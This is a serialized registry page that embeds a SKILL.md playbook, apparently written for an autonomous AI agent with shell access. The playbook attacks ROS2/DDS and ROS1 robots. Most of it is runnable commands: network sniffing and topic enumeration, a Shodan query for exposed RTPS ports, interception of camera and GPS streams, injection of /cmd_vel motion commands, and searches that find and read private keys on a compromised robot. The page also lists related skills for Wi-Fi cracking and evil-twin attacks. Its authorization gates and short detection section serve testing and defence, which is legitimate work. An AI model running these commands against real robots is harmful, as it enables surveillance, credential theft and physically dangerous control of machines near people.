[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M798C8SC5P66HS1W8602Z97C":3,"skill-same:01M798C8SC5P66HS1W8602Z97C":51},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":33,"repositoryHtmlUrl":34,"repositoryHomepageUrl":6,"ownerHtmlUrl":35,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":36,"install":37,"resources":50},"01M798C8SC5P66HS1W8602Z97C","ros2-dds-attack",null,"ROS2\u002FDDS network attack: unauthenticated topic enumeration, message injection, and telemetry interception against robotic platforms and autonomous systems.","7ShIkI3\u002FDecepticon-x-DarkTriad","7ShIkI3","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F78133376?v=4","01M797CTK5AHH2161YVG93NJ3B","Raphael Pascaud","01M797CTKRQS64R01J7E6TJSEM",3,"Apache-2.0","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fiot\u002Fros2-dds-attack\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: ros2-dds-attack\ndescription: \"ROS2\u002FDDS network attack: unauthenticated topic enumeration, message injection, and telemetry interception against robotic platforms and autonomous systems.\"\nallowed-tools: Bash Read Write\nmetadata:\n  subdomain: iot\n  when_to_use: \"ROS2, DDS, robot, robotic, autonomous, unitree, mobile industrial robot, MiR, ros topic, fastdds, cyclonedds, rclpy, colcon, ros2 node, ros2 topic\"\n  tags: ros2, dds, robotics, iot, embedded, message-injection, telemetry, ot, unitree\n  mitre_attack: T0855, T0856, T0814, T1040, T1499\n---\n\n# ROS2 \u002F DDS Attack Playbook\n\n> Authorized use only. ROS2 engagement requires explicit RoE scoping the robot\n> platform as in-scope. Message injection on a live robot can cause physical harm.\n> Confirm `safety_critical_confirmed=true` in the active OPPLAN before any\n> publish\u002Finject step.\n\n## Background\n\nROS2 (Robot Operating System 2) uses DDS (Data Distribution Service) as its\ntransport layer. By default, DDS operates in multicast discovery mode on the\nlocal network segment with **no authentication and no encryption**. Any host on\nthe same subnet can enumerate all nodes and topics, subscribe to sensor streams,\nand publish commands to actuators. CAI's research on the Unitree G1 humanoid\nrobot (2025) confirmed 20+ exposed ROS2\u002FDDS topics carrying audio, video, GPS,\nand motor telemetry over an unauthenticated DDS domain.\n\n## Phase 1 — Discovery\n\n### Network prerequisites\n\nROS2 DDS discovery uses UDP multicast (239.255.0.1, port 7400 by default for\nFast-DDS; 239.255.0.2 for CycloneDDS). The attacker machine must be on the same\nLayer-2 segment or the network must pass multicast.\n\n```bash\n# Verify multicast reachability\nip route show | grep -i multicast\nping -c 3 239.255.0.1\n\n# Passive DDS traffic capture (identify domain IDs in use)\nsudo tshark -i \u003Ciface> -Y rtps -T fields \\\n  -e ip.src -e ip.dst -e rtps.domain_id -e rtps.guid_prefix \\\n  -l 2>\u002Fdev\u002Fnull | sort -u | head -40\n```\n\n### ROS2 node and topic enumeration\n\nIf the attacker can install `ros2` CLI tools (available in a Docker container\non the attacker host — no robot-side access required):\n\n```bash\n# Pull a minimal ROS2 humble image\ndocker run --rm --net=host \\\n  ros:humble \\\n  bash -c \"source \u002Fopt\u002Fros\u002Fhumble\u002Fsetup.bash && ros2 node list && ros2 topic list -t\"\n```\n\nWithout Docker, use the raw DDS discovery sniffer `ddsspy` or `rtpspy`:\n\n```bash\n# rclpy-based passive enumeration (Python, no ROS2 install on attacker)\npip install cyclonedds  # pure-Python DDS implementation\npython3 - \u003C\u003C'EOF'\nimport cyclonedds.core, cyclonedds.domain, cyclonedds.topic\nimport time\n\ndp = cyclonedds.domain.Domain(0)          # domain_id=0 is default\nsub = cyclonedds.core.Subscriber(dp)\n# List discovered topics after 10s passive window\ntime.sleep(10)\nfor t in dp.lookup_topicdescriptions():\n    print(t.name, t.type_name)\nEOF\n```\n\n### Shodan \u002F Censys pivot (remote assessment)\n\nShodan indexes open DDS \u002F RTPS ports. Query for exposed ROS2 stacks reachable\nfrom the Internet (rare but documented in robotics fleets):\n\n```\nshodan search 'port:7400 product:\"RTPS\"'\n```\n\n## Phase 2 — Telemetry Interception\n\nSubscribe to any topic without credentials:\n\n```bash\ndocker run --rm --net=host ros:humble \\\n  bash -c \"source \u002Fopt\u002Fros\u002Fhumble\u002Fsetup.bash && \\\n           ros2 topic echo \u002Fcamera\u002Fimage_raw --no-arr | head -50\"\n\n# Capture raw DDS traffic for offline analysis\nsudo tcpdump -i \u003Ciface> -w \u002Ftmp\u002Fros2_capture.pcap \\\n  'udp and (port 7400 or port 7401 or portrange 7410-7500)'\n```\n\nTopics of particular interest on robotic platforms:\n\n| Topic pattern | Content |\n|---|---|\n| `\u002Fcmd_vel` | Velocity commands (Twist msg — direct actuator control) |\n| `\u002Fjoint_states` | Motor encoder data |\n| `\u002Fcamera\u002F*` | Camera streams |\n| `\u002Fgps\u002Ffix` or `\u002FNavSatFix` | GPS telemetry |\n| `\u002Frosout` | System log (reveals software versions, errors) |\n| `\u002Ftf` \u002F `\u002Ftf_static` | Coordinate transform tree (reveals robot geometry) |\n| `\u002Fdiagnostics` | Hardware diagnostics |\n\n## Phase 3 — Message Injection (GATED — write-scope only)\n\n> **STOP.** Confirm `safety_critical_confirmed=true` + operator signature at\n> `\u002Fworkspace\u002Fsafety-attestation.txt` before executing any publish command.\n> A single malformed `\u002Fcmd_vel` can drive a robot into a person or off a ledge.\n\n```bash\n# Publish a zero-velocity stop command (safest inject for PoC)\ndocker run --rm --net=host ros:humble \\\n  bash -c \"source \u002Fopt\u002Fros\u002Fhumble\u002Fsetup.bash && \\\n           ros2 topic pub --once \u002Fcmd_vel geometry_msgs\u002Fmsg\u002FTwist \\\n           '{linear: {x: 0.0}, angular: {z: 0.0}}'\"\n\n# For full PoC with a non-zero command (requires explicit PoC approval):\n# ros2 topic pub --once \u002Fcmd_vel geometry_msgs\u002Fmsg\u002FTwist \\\n#   '{linear: {x: 0.1}, angular: {z: 0.0}}'\n```\n\n### MiR (Mobile Industrial Robot) ROS1 variant\n\nMiR robots run ROS1 (not ROS2). The attack surface is the same but uses\n`rostopic` \u002F `rosnode` instead of `ros2`:\n\n```bash\nexport ROS_MASTER_URI=http:\u002F\u002F\u003Crobot_ip>:11311\nexport ROS_IP=\u003Cattacker_ip>\nrostopic list\nrostopic echo \u002Frobot_state\n# Inject alarm trigger\nrostopic pub \u002Fmir_cmd_vel geometry_msgs\u002FTwist '{linear: {x: 0.0}}'\n```\n\n## Phase 4 — Credential and Key Extraction\n\nCAI's Unitree G1 research found:\n- RSA private keys stored at world-writable permissions (`chmod 666`)\n- Hardcoded AES keys in the BLE provisioning subsystem\n- MQTT topics backhauling to vendor cloud (43.175.228.18:17883) unencrypted\n\nAfter gaining shell access (via BLE command injection or SSH with hardcoded\ncredentials from firmware extraction):\n\n```bash\n# Find overpermissioned key material\nfind \u002F -name \"*.pem\" -o -name \"*.key\" -o -name \"id_rsa\" 2>\u002Fdev\u002Fnull | \\\n  xargs ls -la 2>\u002Fdev\u002Fnull | grep -E 'rw.rw.rw|666|777'\n\n# Extract MQTT backhaul targets from running processes\nss -tnp | grep -E ':1883|:8883|:17883'\nstrings \u002Fproc\u002F$(pgrep -f mqtt)\u002Fexe 2>\u002Fdev\u002Fnull | grep -E 'mqtt|broker|topic'\n\n# Dump ROS2 security config (if SROS2 is configured — often misconfigured)\nfind \u002F -name \"*.xml\" -path \"*\u002Fsecurity\u002F*\" 2>\u002Fdev\u002Fnull\ncat \u002Fros2_ws\u002Finstall\u002F*\u002Fshare\u002F*\u002Fkeystore\u002Fenclaves\u002F**\u002F*.pem 2>\u002Fdev\u002Fnull\n```\n\n## ATT&CK Mapping\n\n| Technique | ID | Notes |\n|---|---|---|\n| Network Sniffing | T1040 | Passive DDS\u002FRTPS traffic capture |\n| Man in the Middle | T0830 | DDS domain participant impersonation |\n| Modify Control Logic | T0856 | `\u002Fcmd_vel` injection |\n| Unauthorized Command Message | T0855 | ROS topic publish without auth |\n| Network DoS | T1499 | Flood `\u002Fcmd_vel` to cause E-stop |\n| Hardcoded Credentials | T1552.001 | Keys in world-writable files |\n\n## Detection\n\n- Unexpected DDS participant GUIDs on the robot's network segment.\n- `\u002Fcmd_vel` publish from a source other than the authorized control node.\n- Outbound MQTT connections to non-allowlisted broker IPs.\n- `ros2 topic list` queries from an IP outside the robot's operational subnet.\n\nSigma rule target: process auditing on the robot's companion computer for\n`ros2 topic pub` invocations with unexpected source IPs in the RTPS participant\nannouncements.\n\n## References\n\n- aliasrobotics\u002Fcai Unitree G1 case study (2025) — BLE injection + ROS2 topic enumeration\n- aliasrobotics\u002Fcai MiR case study — ROS1 message injection\n- ROS2 Security Working Group: `design.ros2.org\u002Farticles\u002Fros2_dds_security.html`\n- SROS2 hardening: `docs.ros.org\u002Fen\u002Frolling\u002FTutorials\u002FAdvanced\u002FSecurity`\n","# ROS2 \u002F DDS Attack Playbook\n\n> Authorized use only. ROS2 engagement requires explicit RoE scoping the robot\n> platform as in-scope. Message injection on a live robot can cause physical harm.\n> Confirm `safety_critical_confirmed=true` in the active OPPLAN before any\n> publish\u002Finject step.\n\n## Background\n\nROS2 (Robot Operating System 2) uses DDS (Data Distribution Service) as its\ntransport layer. By default, DDS operates in multicast discovery mode on the\nlocal network segment with **no authentication and no encryption**. Any host on\nthe same subnet can enumerate all nodes and topics, subscribe to sensor streams,\nand publish commands to actuators. CAI's research on the Unitree G1 humanoid\nrobot (2025) confirmed 20+ exposed ROS2\u002FDDS topics carrying audio, video, GPS,\nand motor telemetry over an unauthenticated DDS domain.\n\n## Phase 1 — Discovery\n\n### Network prerequisites\n\nROS2 DDS discovery uses UDP multicast (239.255.0.1, port 7400 by default for\nFast-DDS; 239.255.0.2 for CycloneDDS). The attacker machine must be on the same\nLayer-2 segment or the network must pass multicast.\n\n```bash\n# Verify multicast reachability\nip route show | grep -i multicast\nping -c 3 239.255.0.1\n\n# Passive DDS traffic capture (identify domain IDs in use)\nsudo tshark -i \u003Ciface> -Y rtps -T fields \\\n  -e ip.src -e ip.dst -e rtps.domain_id -e rtps.guid_prefix \\\n  -l 2>\u002Fdev\u002Fnull | sort -u | head -40\n```\n\n### ROS2 node and topic enumeration\n\nIf the attacker can install `ros2` CLI tools (available in a Docker container\non the attacker host — no robot-side access required):\n\n```bash\n# Pull a minimal ROS2 humble image\ndocker run --rm --net=host \\\n  ros:humble \\\n  bash -c \"source \u002Fopt\u002Fros\u002Fhumble\u002Fsetup.bash && ros2 node list && ros2 topic list -t\"\n```\n\nWithout Docker, use the raw DDS discovery sniffer `ddsspy` or `rtpspy`:\n\n```bash\n# rclpy-based passive enumeration (Python, no ROS2 install on attacker)\npip install cyclonedds  # pure-Python DDS implementation\npython3 - \u003C\u003C'EOF'\nimport cyclonedds.core, cyclonedds.domain, cyclonedds.topic\nimport time\n\ndp = cyclonedds.domain.Domain(0)          # domain_id=0 is default\nsub = cyclonedds.core.Subscriber(dp)\n# List discovered topics after 10s passive window\ntime.sleep(10)\nfor t in dp.lookup_topicdescriptions():\n    print(t.name, t.type_name)\nEOF\n```\n\n### Shodan \u002F Censys pivot (remote assessment)\n\nShodan indexes open DDS \u002F RTPS ports. Query for exposed ROS2 stacks reachable\nfrom the Internet (rare but documented in robotics fleets):\n\n```\nshodan search 'port:7400 product:\"RTPS\"'\n```\n\n## Phase 2 — Telemetry Interception\n\nSubscribe to any topic without credentials:\n\n```bash\ndocker run --rm --net=host ros:humble \\\n  bash -c \"source \u002Fopt\u002Fros\u002Fhumble\u002Fsetup.bash && \\\n           ros2 topic echo \u002Fcamera\u002Fimage_raw --no-arr | head -50\"\n\n# Capture raw DDS traffic for offline analysis\nsudo tcpdump -i \u003Ciface> -w \u002Ftmp\u002Fros2_capture.pcap \\\n  'udp and (port 7400 or port 7401 or portrange 7410-7500)'\n```\n\nTopics of particular interest on robotic platforms:\n\n| Topic pattern | Content |\n|---|---|\n| `\u002Fcmd_vel` | Velocity commands (Twist msg — direct actuator control) |\n| `\u002Fjoint_states` | Motor encoder data |\n| `\u002Fcamera\u002F*` | Camera streams |\n| `\u002Fgps\u002Ffix` or `\u002FNavSatFix` | GPS telemetry |\n| `\u002Frosout` | System log (reveals software versions, errors) |\n| `\u002Ftf` \u002F `\u002Ftf_static` | Coordinate transform tree (reveals robot geometry) |\n| `\u002Fdiagnostics` | Hardware diagnostics |\n\n## Phase 3 — Message Injection (GATED — write-scope only)\n\n> **STOP.** Confirm `safety_critical_confirmed=true` + operator signature at\n> `\u002Fworkspace\u002Fsafety-attestation.txt` before executing any publish command.\n> A single malformed `\u002Fcmd_vel` can drive a robot into a person or off a ledge.\n\n```bash\n# Publish a zero-velocity stop command (safest inject for PoC)\ndocker run --rm --net=host ros:humble \\\n  bash -c \"source \u002Fopt\u002Fros\u002Fhumble\u002Fsetup.bash && \\\n           ros2 topic pub --once \u002Fcmd_vel geometry_msgs\u002Fmsg\u002FTwist \\\n           '{linear: {x: 0.0}, angular: {z: 0.0}}'\"\n\n# For full PoC with a non-zero command (requires explicit PoC approval):\n# ros2 topic pub --once \u002Fcmd_vel geometry_msgs\u002Fmsg\u002FTwist \\\n#   '{linear: {x: 0.1}, angular: {z: 0.0}}'\n```\n\n### MiR (Mobile Industrial Robot) ROS1 variant\n\nMiR robots run ROS1 (not ROS2). The attack surface is the same but uses\n`rostopic` \u002F `rosnode` instead of `ros2`:\n\n```bash\nexport ROS_MASTER_URI=http:\u002F\u002F\u003Crobot_ip>:11311\nexport ROS_IP=\u003Cattacker_ip>\nrostopic list\nrostopic echo \u002Frobot_state\n# Inject alarm trigger\nrostopic pub \u002Fmir_cmd_vel geometry_msgs\u002FTwist '{linear: {x: 0.0}}'\n```\n\n## Phase 4 — Credential and Key Extraction\n\nCAI's Unitree G1 research found:\n- RSA private keys stored at world-writable permissions (`chmod 666`)\n- Hardcoded AES keys in the BLE provisioning subsystem\n- MQTT topics backhauling to vendor cloud (43.175.228.18:17883) unencrypted\n\nAfter gaining shell access (via BLE command injection or SSH with hardcoded\ncredentials from firmware extraction):\n\n```bash\n# Find overpermissioned key material\nfind \u002F -name \"*.pem\" -o -name \"*.key\" -o -name \"id_rsa\" 2>\u002Fdev\u002Fnull | \\\n  xargs ls -la 2>\u002Fdev\u002Fnull | grep -E 'rw.rw.rw|666|777'\n\n# Extract MQTT backhaul targets from running processes\nss -tnp | grep -E ':1883|:8883|:17883'\nstrings \u002Fproc\u002F$(pgrep -f mqtt)\u002Fexe 2>\u002Fdev\u002Fnull | grep -E 'mqtt|broker|topic'\n\n# Dump ROS2 security config (if SROS2 is configured — often misconfigured)\nfind \u002F -name \"*.xml\" -path \"*\u002Fsecurity\u002F*\" 2>\u002Fdev\u002Fnull\ncat \u002Fros2_ws\u002Finstall\u002F*\u002Fshare\u002F*\u002Fkeystore\u002Fenclaves\u002F**\u002F*.pem 2>\u002Fdev\u002Fnull\n```\n\n## ATT&CK Mapping\n\n| Technique | ID | Notes |\n|---|---|---|\n| Network Sniffing | T1040 | Passive DDS\u002FRTPS traffic capture |\n| Man in the Middle | T0830 | DDS domain participant impersonation |\n| Modify Control Logic | T0856 | `\u002Fcmd_vel` injection |\n| Unauthorized Command Message | T0855 | ROS topic publish without auth |\n| Network DoS | T1499 | Flood `\u002Fcmd_vel` to cause E-stop |\n| Hardcoded Credentials | T1552.001 | Keys in world-writable files |\n\n## Detection\n\n- Unexpected DDS participant GUIDs on the robot's network segment.\n- `\u002Fcmd_vel` publish from a source other than the authorized control node.\n- Outbound MQTT connections to non-allowlisted broker IPs.\n- `ros2 topic list` queries from an IP outside the robot's operational subnet.\n\nSigma rule target: process auditing on the robot's companion computer for\n`ros2 topic pub` invocations with unexpected source IPs in the RTPS participant\nannouncements.\n\n## References\n\n- aliasrobotics\u002Fcai Unitree G1 case study (2025) — BLE injection + ROS2 topic enumeration\n- aliasrobotics\u002Fcai MiR case study — ROS1 message injection\n- ROS2 Security Working Group: `design.ros2.org\u002Farticles\u002Fros2_dds_security.html`\n- SROS2 hardening: `docs.ros.org\u002Fen\u002Frolling\u002FTutorials\u002FAdvanced\u002FSecurity`\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"ros2, dds, robotics, iot, embedded, message-injection, telemetry, ot, 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handshake.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":60,"name":61,"nameZh":6,"description":62,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":63,"categories":64,"keywords":65,"publishedAt":19},"01M798TH79VR8XM7AAMG0ZKSXX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":67,"name":68,"nameZh":6,"description":69,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":70,"categories":71,"keywords":72,"publishedAt":19},"01M798TD0E10ZHQN5X362M4HG9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":74,"name":75,"nameZh":6,"description":76,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":77,"categories":78,"keywords":79,"publishedAt":19},"01M798T7HFR3NB9WJTK1FESVF9","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":81,"name":82,"nameZh":6,"description":83,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":84,"categories":85,"keywords":86,"publishedAt":19},"01M798T38B4SV0T87VQK56KPHC","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":88,"name":89,"nameZh":6,"description":90,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":91,"categories":92,"keywords":93,"publishedAt":19},"01M798SXTNF0RP1DXKQEWFVQ9H","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]